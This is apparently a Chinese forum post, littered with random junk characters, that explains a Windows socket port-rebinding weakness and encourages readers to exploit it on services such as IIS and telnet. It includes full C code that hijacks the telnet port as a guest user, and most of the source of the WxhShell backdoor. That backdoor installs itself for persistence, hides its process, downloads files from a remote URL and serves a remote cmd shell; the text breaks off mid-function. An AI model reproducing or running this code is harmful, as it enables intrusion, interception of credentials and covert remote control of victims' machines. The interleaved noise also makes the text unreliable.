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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `E8m>q Ss s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~!E%GCyFy MIub^ $<C saddr.sin_family = AF_INET; e]!C
Aj7uS 1?]Gl+} saddr.sin_addr.s_addr = htonl(INADDR_ANY); wz + usZmf=p-r bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {oy(08`6 br.jj 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8E H#IiP ^6Q(he 这意味着什么?意味着可以进行如下的攻击: mhH[jO) ]7^OTrZ N 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #[vmS -\b~R7VQ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (~?P7RnU% E}-Y@( [ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T)6p,l :O-Y67>& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ^:5;H=. pa N )t 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k?0yH$)'t ;J Dn1(6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %L.,:m tq) $xNM^O 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cF_ Y}C qXR>Z=K< #include 5rRYv~+ #include Tm-Nz7U^^ #include h`-aO u #include C|5eV=f)P DWORD WINAPI ClientThread(LPVOID lpParam); R!0O[i int main() Qv(}*iq] { 0V`s 3,k WORD wVersionRequested; +e);lS"+/ DWORD ret; /zMiy? WSADATA wsaData; mk~&>\ BOOL val; ~'m
GGH2 SOCKADDR_IN saddr; a)^f`s^aa SOCKADDR_IN scaddr; }i!hzkK# int err; F&<si:}KB SOCKET s; /B.\ 6 SOCKET sc; ):;
&~ int caddsize; 8G;
t[9 HANDLE mt; ?DzKqsS' DWORD tid; x* *]@v"g wVersionRequested = MAKEWORD( 2, 2 ); cod__. err = WSAStartup( wVersionRequested, &wsaData ); r0379 _ if ( err != 0 ) { oFB~)}f<v printf("error!WSAStartup failed!\n"); r&@#,g return -1; 75v 5/5zRn } Bwj^9J/ob saddr.sin_family = AF_INET; }
1^/[? 6T! *YrS //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2Vas`/~u~ y/k6gl[` saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IeLG/ fB saddr.sin_port = htons(23); R$X1Q/#md if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }dX[u`zQ { ~McmlJzJG printf("error!socket failed!\n"); 7dyGC:YuTL return -1; -D?T0> } bq/m?; val = TRUE; {P"$;_Y"< //SO_REUSEADDR选项就是可以实现端口重绑定的 D+lzISp~e if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) + ObP[F { 7(rNJPrU~= printf("error!setsockopt failed!\n"); #n2'N^t return -1; D^yZ!}Kl } -'BC*fV r //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0ubT/ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6S)$wj*w //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 WF,<7mx=- `% k9@k. if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6*8"?S' { J@PwN^` ret=GetLastError(); ~CIA6& printf("error!bind failed!\n"); wvBx]$SC return -1; fDt#<f 4; } 6My=GByC listen(s,2); 8,=N~(pd` while(1) &b8Dy=# { Cx2s5vJX4p caddsize = sizeof(scaddr); A;7p //接受连接请求 NBEcx>pma sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N7Vv"o if(sc!=INVALID_SOCKET) c,pR+DP { 3>YG mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4Xi
_[
Xf if(mt==NULL) Kq#\P { (jd)sf6Tj[ printf("Thread Creat Failed!\n"); !2R~/Rg break; iU"jV*P] } EvSo|}JA[ } (8qD'(@ CloseHandle(mt); piKYO+;W' } d.Wq@(ZoA closesocket(s); $*w]]b$Dn WSACleanup(); -x)Oo` return 0; 0t[|3A~Q } Y5?*=eM DWORD WINAPI ClientThread(LPVOID lpParam) _^K)> { )d5Hv2/0 SOCKET ss = (SOCKET)lpParam; JAJo^}}{b SOCKET sc; ,{==f7|w unsigned char buf[4096]; f'&30lF SOCKADDR_IN saddr; (3a]#`Q long num; &XAG|
# DWORD val; #^%HJp^ DWORD ret; ?#~3%$> //如果是隐藏端口应用的话,可以在此处加一些判断 Ey<vvZ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ln4gkm<]t saddr.sin_family = AF_INET; :U;n?Zu
S saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gS{hfDpk,h saddr.sin_port = htons(23); %N+8K if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _RI`I}&9Z { *+|D8xp printf("error!socket failed!\n"); mU0j K@^&M return -1; qQK0s*^W } =nPIGI72VO val = 100; Mh
[TZfV if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IIrh|>d_7 { ?pSb,kN}' ret = GetLastError(); 1./uJB/ return -1; (ndXz } u'Ja9m1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3ht>eaHi { `w/:o$& ret = GetLastError(); fLkZ'~e! return -1; N
zrHWVD } LpRl!\FY$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #9{N[t { NqyKR&; printf("error!socket connect failed!\n"); [R
V_{F:' closesocket(sc); $Ro]]NUz| closesocket(ss); Mn$w_Z? return -1; R>Q&Ax } B=)&43)\ while(1) 3"v
k$ { ;Q*=AW //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]`@= ;w //如果是嗅探内容的话,可以再此处进行内容分析和记录 mL\_C9k,n //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i,#j@R@.C7 num = recv(ss,buf,4096,0); j"G1D-S: if(num>0) $ZnLY uGb send(sc,buf,num,0); Pn?Ujjv else if(num==0) *B<Ig^c break; 7oUecyoj num = recv(sc,buf,4096,0); kpF")0qr if(num>0) %LI[+#QE send(ss,buf,num,0); z}Y23W&sX else if(num==0) 3B *b d break; 4)- ?1?) } Vyy;mEBg closesocket(ss); KmF"Ccc closesocket(sc); k55s-%Ayr return 0 ; 73/DOF } RWyDX_z#< z"7I5N BhAWIH8@C ========================================================== M$Sq3m`{! k OYF]^uJ 下边附上一个代码,,WXhSHELL 8&[Lr o9 h"C7l#u ========================================================== U&F1}P$fb 9)c{L<o}T #include "stdafx.h" j:|um&`) d,%e?8x5 #include <stdio.h> Hlh`d N #include <string.h> (RXOv"''= #include <windows.h> ~7CQw^"R@ #include <winsock2.h> V$ 8go#5 #include <winsvc.h> P:lmQHls+ #include <urlmon.h> &Tc:WD qg7qTF& #pragma comment (lib, "Ws2_32.lib") 'YQVf]4P #pragma comment (lib, "urlmon.lib") +\Hh|Uz5 a7$]"
T 7 #define MAX_USER 100 // 最大客户端连接数 ojmF:hR" #define BUF_SOCK 200 // sock buffer 'gBGZ?^N!U #define KEY_BUFF 255 // 输入 buffer [w*t(A dUt$kB #define REBOOT 0 // 重启 rC !!X #define SHUTDOWN 1 // 关机 @=i-*U sxG8jD #define DEF_PORT 5000 // 监听端口 +,;"?j6<p )Cas0~ RM #define REG_LEN 16 // 注册表键长度 c<k=8P #define SVC_LEN 80 // NT服务名长度 \@\r`=WgB ajM3Uwnr // 从dll定义API JD\yl[ac% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o*]Tqx typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y
nue;*rM typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %|"0p3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OBnf5*eJ kjj4%0" // wxhshell配置信息 TTYM!+T struct WSCFG { k<&zVV' int ws_port; // 监听端口 A{Kc"s4fO char ws_passstr[REG_LEN]; // 口令 z_i(o int ws_autoins; // 安装标记, 1=yes 0=no D,3Kx ^ char ws_regname[REG_LEN]; // 注册表键名 9#;GG3 char ws_svcname[REG_LEN]; // 服务名 `7D]J*?` char ws_svcdisp[SVC_LEN]; // 服务显示名 Jn|sS(Q} char ws_svcdesc[SVC_LEN]; // 服务描述信息 l+ ,p= char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GgU8f0I int ws_downexe; // 下载执行标记, 1=yes 0=no Kl\g{>{Uz char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 24g\xNnt char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *\-$.w)k ZXJ]== }; 9 HiH6f^5 h]+UK14m // default Wxhshell configuration 5n0B`A struct WSCFG wscfg={DEF_PORT, a<NZC "xuhuanlingzhe", 3 P=I)q 1, 7^oO
N+=d "Wxhshell", +GYO<N7 "Wxhshell", !&eKq?P{j "WxhShell Service", x]Pp|rHj "Wrsky Windows CmdShell Service", B,5kG{2! "Please Input Your Password: ", a 23XrX 1, *HONA>u
" http://www.wrsky.com/wxhshell.exe", &E?TR
A# E "Wxhshell.exe" Vr^UEu.w? }; Vsj1!}X: W?:e4:Q // 消息定义模块 /&i6vWMhP char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =#Z+WD-E char *msg_ws_prompt="\n\r? for help\n\r#>"; o*t4zF&n char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 6(1S_b=a char *msg_ws_ext="\n\rExit."; 0X<U.Sxn char *msg_ws_end="\n\rQuit."; d}w}VL8l char *msg_ws_boot="\n\rReboot..."; 3a\De(; char *msg_ws_poff="\n\rShutdown..."; Oxp!G7qfo char *msg_ws_down="\n\rSave to "; n1Wo<$# v[2N- char *msg_ws_err="\n\rErr!"; '8"nXuL- char *msg_ws_ok="\n\rOK!"; eY V Jk7 Ylhy Z&a, char ExeFile[MAX_PATH]; zl3GWj|?\7 int nUser = 0; RxYC]R^78 HANDLE handles[MAX_USER]; =j"bLX6; int OsIsNt; _2a)b(<tF *-';ycOvr SERVICE_STATUS serviceStatus; "?M)2,:A SERVICE_STATUS_HANDLE hServiceStatusHandle; )Tl]1^ |V&E q>G // 函数声明 ] :SbvsPm int Install(void); ]:r(U5 # int Uninstall(void); V q[4RAd^P int DownloadFile(char *sURL, SOCKET wsh); 2PC:F9dh\ int Boot(int flag); nZX`y
-AZ void HideProc(void); UrmnHc>}c int GetOsVer(void); Z VyJ%"(E int Wxhshell(SOCKET wsl); s/0bXM$^ void TalkWithClient(void *cs); xFzaVjjP int CmdShell(SOCKET sock); q&kG> int StartFromService(void); v8y !zo' int StartWxhshell(LPSTR lpCmdLine); i )!+`w*Y =x@v{cP VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m7|S'{+! VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0JXXJ:d B [$D%]]/, // 数据结构和表定义 IcA]B?+ SERVICE_TABLE_ENTRY DispatchTable[] = ]Om;bmwt { 4[
*G {wscfg.ws_svcname, NTServiceMain}, 9 >"}||)) {NULL, NULL} )eVn1U2*z. }; M#.dF{%% v[\Z^pccgj // 自我安装 XE$;Z'Qhjm int Install(void) %%T?LRv { C*stj char svExeFile[MAX_PATH]; M%#F"^8v HKEY key; +[`
)t/ strcpy(svExeFile,ExeFile); GOUO "
V4@nv // 如果是win9x系统,修改注册表设为自启动 N5b^ if(!OsIsNt) { 'x,6t66*"l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hiEosI
C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5p>rQq0 RegCloseKey(key); ^8=e8O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *pYawT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0O?\0k;o RegCloseKey(key); #('GGzL6c return 0; tI<6TE'!p# } N *,[(q } m>^vr7 } G2dPm}s ZG else { nH}V:C (7C$'T-ZK // 如果是NT以上系统,安装为系统服务 @GWlo\rM6^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TPA*z9n+B if (schSCManager!=0) [M2xF<r6t { |F +n7 SC_HANDLE schService = CreateService _LFABG= ( o]B2^Yq;x schSCManager, 6Z5$cR_vC7 wscfg.ws_svcname, TMD*-wYr wscfg.ws_svcdisp, uBw[|,yn2* SERVICE_ALL_ACCESS, c27Zh=;Tj SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ' L-h2 SERVICE_AUTO_START, @o6! SERVICE_ERROR_NORMAL, i(YR-vYK svExeFile, ?L"x>$ NULL, -Dwe,N"{2 NULL, {8556> \~ NULL, bD=R/yA NULL, ;!j/t3#a NULL }O\g<ke:u ); nT7]PhJ if (schService!=0) |\RN%w7E8 { XO5E-Nh CloseServiceHandle(schService); \Rw^&;\1 CloseServiceHandle(schSCManager); \j4!dOGZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d*$x|B|V strcat(svExeFile,wscfg.ws_svcname); TVVu_ib if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j:$Z-s RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); USJ4Z RegCloseKey(key); 8l<~zIoO return 0; ;?Q0mXr } v8TNBsEL } v}=pxWhm CloseServiceHandle(schSCManager); S[CWrPaDQ } g&\;62lV% } _ucixM# A:\_ \B%< return 1; p7L6~IN } hVdGxT]6 y!x-R!3 // 自我卸载 7
6HB@'xY int Uninstall(void) KVHK~Y-G { F.D6O[pZ HKEY key; $#_^uWN-M /U>8vV+C if(!OsIsNt) { nyZ?m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u1|v3/Q- RegDeleteValue(key,wscfg.ws_regname); d>/4z#R}- RegCloseKey(key); PPh1y;D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3*R(&O6} RegDeleteValue(key,wscfg.ws_regname); ;1k_J~Qei RegCloseKey(key); ZJQkZ_9@2 return 0; v%QCp } NJKk\RM@7 } 1?r$Rx<R } oTA'=<W?D else { ?h8/\~Dw .yb8<q s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Pd(n|t3[8 if (schSCManager!=0) XX*f { 0qBXL;sE SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x!onan if (schService!=0) .>'J ^^ { %Ip=3($Ku[ if(DeleteService(schService)!=0) { Q8DKU CloseServiceHandle(schService); )EG-xo@X CloseServiceHandle(schSCManager); mW)"~sA return 0; #|lVQ@= } QYWl`Yqf CloseServiceHandle(schService); l> >BeZ } 5a* Awv} CloseServiceHandle(schSCManager); .\)p3pC) } 3iiOxg?j } hflDVGBW +7K]5p;!~ return 1; *oIKddZh } OmP(&t7 B^hK // 从指定url下载文件 7p18;Z+6>X int DownloadFile(char *sURL, SOCKET wsh) *kDV ^RBfq { Q1
vse HRESULT hr; Bc#6mO- char seps[]= "/"; +Jc-9Ko\c; char *token; '`p0T%w char *file; vaZ?>94 char myURL[MAX_PATH]; BimM)4g char myFILE[MAX_PATH]; a[gN+DX%L ,]?l(H $x' strcpy(myURL,sURL); ? oGmGKq token=strtok(myURL,seps); EtB56FU\ while(token!=NULL) I3?:KVa { ;}k_2mr~ file=token; ,@2d4eg4 token=strtok(NULL,seps); Vs[!WJ
7 } POQ1K
O <lLk(fC GetCurrentDirectory(MAX_PATH,myFILE); p|w;StLy strcat(myFILE, "\\"); +'I8COoiv% strcat(myFILE, file); .LNqU#a send(wsh,myFILE,strlen(myFILE),0); D%.<}vG send(wsh,"...",3,0); E9[8th,t hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '?!2h' if(hr==S_OK) ;"GI~p2~7 return 0; 4U:+iumy2 else >l5JwwG return 1; z~a]dMs"(P >JhIRf } Z8Clm:S AwL;-|X // 系统电源模块 3!B3C(g int Boot(int flag) HjN )~<j { Xq%!(YD| HANDLE hToken; KBGJB`D* TOKEN_PRIVILEGES tkp; uO-R:MC /h%MWCZWm^ if(OsIsNt) { oDas~0<oh OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8%#uZG\} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^SRa!8z$W tkp.PrivilegeCount = 1; 1vxh3KS. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (.3L'+F AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
?hpk)Qu if(flag==REBOOT) { XC{(O:EG if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]t3
NA*mM return 0; P.1iuZ "w } ]j:Ikb} else { ByZ.!~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 63-
YWhs; return 0; f:g<Bz=u)* } Dy^4^ J5+ } 9P)<CD0 else { ?0Ca-T Rz if(flag==REBOOT) { f1>^kl3@P if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XsHl%o8,z return 0; HIeMV,.QN } }Mo9r4} else { %jM|*^\% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L7%'Y}1e. return 0; \9k{"4jX\ } Xl*-A|:j } ig/716r| Gb\7W return 1; |@-WC. } o6KBJx )Bk?"q // win9x进程隐藏模块 FZmYv%J void HideProc(void) (^Do#3 { 0QIocha emS +%6U HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k*c:%vC! if ( hKernel != NULL ) [I4FU7mpH { MgMLfgt"V pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7<^D7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "x$S%:p FreeLibrary(hKernel); .Na>BR\F
} NV-9C$<n2! /9w}[y*E return; |H_)u } PewPl0 X7c*T / // 获取操作系统版本 0XYO2k int GetOsVer(void) {Rj' =%h { _@prv7e OSVERSIONINFO winfo; o>`/,-! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Sc~kO4 GetVersionEx(&winfo); sqZHk+<% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A# M return 1; q=1SP@;\6 else MthThsr7 return 0; 47K5[R } 4l`gAE$ \]OD pi
2 // 客户端句柄模块 #!D5DK@+ int Wxhshell(SOCKET wsl) <7]
z'
{ nG%j4r ; SOCKET wsh; VD#^Xy4% r struct sockaddr_in client; !d0@^JbM" DWORD myID; Xp?Z;$r$ a@jP^VVk while(nUser<MAX_USER) \!V6` @0KC { xBG1up<z int nSize=sizeof(client); "\=_- ` wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >aWJ+ if(wsh==INVALID_SOCKET) return 1; ,6buo~?W: TQ2Tt" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8c|IGC if(handles[nUser]==0) \%Smp2K closesocket(wsh); M{4_BQ4$ else G<dXJ ]\\ nUser++; #dfW1@m } y14@9<~9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pq&c]8H _INUJc return 0; t2SZ]|C } 5#F+-9r `cv:p|s // 关闭 socket 5Q}@Y3 i= void CloseIt(SOCKET wsh) K/,lw~> { mDmWTq\ closesocket(wsh); r4lG 5dV nUser--; |5/[0V-vy ExitThread(0); sq^"bLw } M#>GU<4" } R/ // 客户端请求句柄 W[m_IY void TalkWithClient(void *cs) yN o8R[M { UiEB?X]-l' IyuT=A~Ki SOCKET wsh=(SOCKET)cs; F3'X char pwd[SVC_LEN]; <FK><aA_i* char cmd[KEY_BUFF]; W%W.
+f char chr[1]; QaO`:wJj int i,j; DRIv<=Bt R`&ioRWj while (nUser < MAX_USER) { J?<L8;$s7 u~kwNN9t3 if(wscfg.ws_passstr) { p{J_d,JH if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6J*`<k/S //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y"jDZG? //ZeroMemory(pwd,KEY_BUFF); aS7zG2R4H i=0; GT.^u#r while(i<SVC_LEN) { }a1UOScO0 .-ABo]hf // 设置超时 31C]TdJ fd_set FdRead; ES2qX]I struct timeval TimeOut; !tdfTf$ FD_ZERO(&FdRead); *^uj(8U FD_SET(wsh,&FdRead); &F}+U#H TimeOut.tv_sec=8; Chup %F TimeOut.tv_usec=0; |@ HdTGD int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7e<Q{aB if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1X*T219o K?je(t^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9wAc&nl-Y pwd =chr[0]; \PONaRK|[z if(chr[0]==0xd || chr[0]==0xa) { $(R)
=4 pwd=0; bSghf"aN break; ,lJ6"J\8. } S8RB0^Q7 i++; &3f.78a } jQ)>XOok 5!zvoX9 // 如果是非法用户,关闭 socket \G@6jn1G( if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SA1/U } 's?F ip kU/=Du send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3>" h*U# send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U;GoC$b}| (<X dj^v while(1) { C(|5,P#5 +_dYfux ZeroMemory(cmd,KEY_BUFF); U08?*{ vWH>k+9&X // 自动支持客户端 telnet标准 ^BX@0"&- j=0; `yZZP while(j<KEY_BUFF) { YoJ'=z,e if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !f-o,RJ cmd[j]=chr[0]; J#DcT@ if(chr[0]==0xa || chr[0]==0xd) {
A*~1Uz\t cmd[j]=0; WN#lfn8 7 break; <\g&%c, } i_Z5SMZ j++; Ib8i#D V } YnWl'{[ C 'kvFU_) // 下载文件 &;U7/?Q if(strstr(cmd,"http://")) { ';,Bn9rv send(wsh,msg_ws_down,strlen(msg_ws_down),0); \]A;EwC4C if(DownloadFile(cmd,wsh)) !(K{*7|h send(wsh,msg_ws_err,strlen(msg_ws_err),0); c/Yi0Rl) else [?@wCY4= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q'%o;z* } ;Ph )BY< else { JlQT5k l\;mP.! switch(cmd[0]) { G=HxD4l gQ=POJ=G // 帮助 |zq!CLjD@ case '?': { ]Y&)98 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _G[I2] break; ;c-
]bhBB } 5f'g3' // 安装 prEu9$:t case 'i': { nH>V Da if(Install()) ^I<T+X+< send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZoON5P> else xGEmrE<; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,r 2VP\hLh break; V.Ba''E7 } ]vQ?]d?>a // 卸载 $7n#\h case 'r': { (vAv^A*i} if(Uninstall()) |1+(Ny.%k send(wsh,msg_ws_err,strlen(msg_ws_err),0); r7"A u" else dH2]ZE0V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gO:Z6}3vM break; 'uf2
nUo } [j}7 @Mr`\ // 显示 wxhshell 所在路径 xR|eye R case 'p': { .z$Sm char svExeFile[MAX_PATH]; 3P#+)
F~ strcpy(svExeFile,"\n\r"); 5`"*y iv strcat(svExeFile,ExeFile); $FQcDo|[ send(wsh,svExeFile,strlen(svExeFile),0); 7<1fKrN?GF break; AX!>l; } 0^}'+t,lc // 重启 dmaqXsU8q case 'b': { z/0yO@_D/q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <Hh5u~ if(Boot(REBOOT)) ;4kx >x*H send(wsh,msg_ws_err,strlen(msg_ws_err),0); te;Ox!B& else { @0ov!9]Rw- closesocket(wsh); &cu] vw ExitThread(0); *hZ~i{c,7 } 3aO;@GNJ break; <DXmZ1 } O+o ;aa6 // 关机 1]>$5 1Q case 'd': { eyf4M;goz} send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /~Zc}o,J if(Boot(SHUTDOWN)) ~)wwX:;B_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3|~(?4aE else { V9zywM closesocket(wsh); ?..i 4 ExitThread(0); ]PlY}VOY } K=tx5{V break; 8Da(tS } 18.Y/nZAgQ // 获取shell f^!11/Wv case 's': { Yz2{LW[K CmdShell(wsh); BZJKiiD closesocket(wsh); C!7U<rI ExitThread(0); @1<omsl break; rkfQr9Vc } 9V=<| 2 // 退出
8>Du case 'x': { d<^_w!4X} send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [_
M6/ CloseIt(wsh); -_2Dy1 break; B:O+*3j } '!wPnYT@D // 离开 ^V<J69ny|9 case 'q': { 6%ZHP? send(wsh,msg_ws_end,strlen(msg_ws_end),0); H_?;h-Y] closesocket(wsh); 1UW s_|X! WSACleanup(); _8[UtZYG exit(1); ^e?$ ]JiA! break; b&=]S( } 7.Ml9{M/i } 'bB>$E } Mx/h?}u; $ yDW.pt // 提示信息 |.b%rVu if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j`2B}@ 2 } MV0<^/p| } 4ef*9|^x# a9#W9eP return; w::r?.9 } ^273l(CZ1 <Gr9^C // shell模块句柄 bbd0ocva int CmdShell(SOCKET sock) 3D
9N:c { Az9X#h.vf STARTUPINFO si; x*unye7 ZeroMemory(&si,sizeof(si));
Z $!C= si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @+?+6sS si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AA))KBXq PROCESS_INFORMATION ProcessInfo; >vQ6V'F char cmdline[]="cmd"; !Z
U_,[ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "?i>p z return 0; 5U0ytDZ2/( } '"`
Lv/ 968Ac}OA // 自身启动模式 4)c+t"h int StartFromService(void) IIq"e~"Vs { ')C|`(hs typedef struct ,3:QB_ { 4-y6MH DWORD ExitStatus; $!a?i@ DWORD PebBaseAddress; M$,Jg5Dc DWORD AffinityMask; H \r `7 DWORD BasePriority; -&trk ULONG UniqueProcessId; azvDvEWCQZ ULONG InheritedFromUniqueProcessId; |xq}'.C } PROCESS_BASIC_INFORMATION; M|U';2hZN: %v]7BV^%6 PROCNTQSIP NtQueryInformationProcess; ER{yuw U8YO0}_z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DXKyRkn6e static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w'd.; +d =~LQ}* HANDLE hProcess; 2[.5o z` PROCESS_BASIC_INFORMATION pbi; wOjv[@d DWuRJ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 